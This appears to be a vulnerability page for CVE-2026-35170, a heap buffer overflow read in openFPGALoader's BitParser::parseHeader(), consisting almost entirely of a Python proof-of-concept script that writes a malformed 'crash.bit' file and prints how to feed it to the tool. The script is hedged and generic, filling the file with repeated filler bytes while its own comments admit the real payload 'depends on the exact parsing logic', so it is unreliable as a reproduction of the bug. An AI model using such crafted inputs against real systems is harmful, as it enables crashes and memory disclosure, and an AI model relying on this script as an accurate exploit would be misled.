CVE-2026-35170 openFPGALoader堆缓冲区溢出漏洞

import struct import os # Generate a crafted .bit file to trigger the heap-buffer-overflow read # The vulnerability is in BitParser::parseHeader() # Create a malformed header that might cause parseHeader to read OOB # .bit files usually start with specific keys, we corrupt the length field def generate_poc(filename): with open(filename, 'wb') as f: # Write a dummy header part f.write(b'00') # Write a malformed key that might confuse the parser # This simulates a crafted structure that forces an out-of-bounds read # specific payload depends on the exact parsing logic of BitParser payload = b'a' * 0x1000 f.write(payload) # Write a truncated/corrupted section to trigger the read overflow f.write(b'\xff' * 100) print(f"[+] POC file generated: {filename}") print(f"[+] Usage: openFPGALoader -f {filename}") if __name__ == "__main__": generate_poc("crash.bit")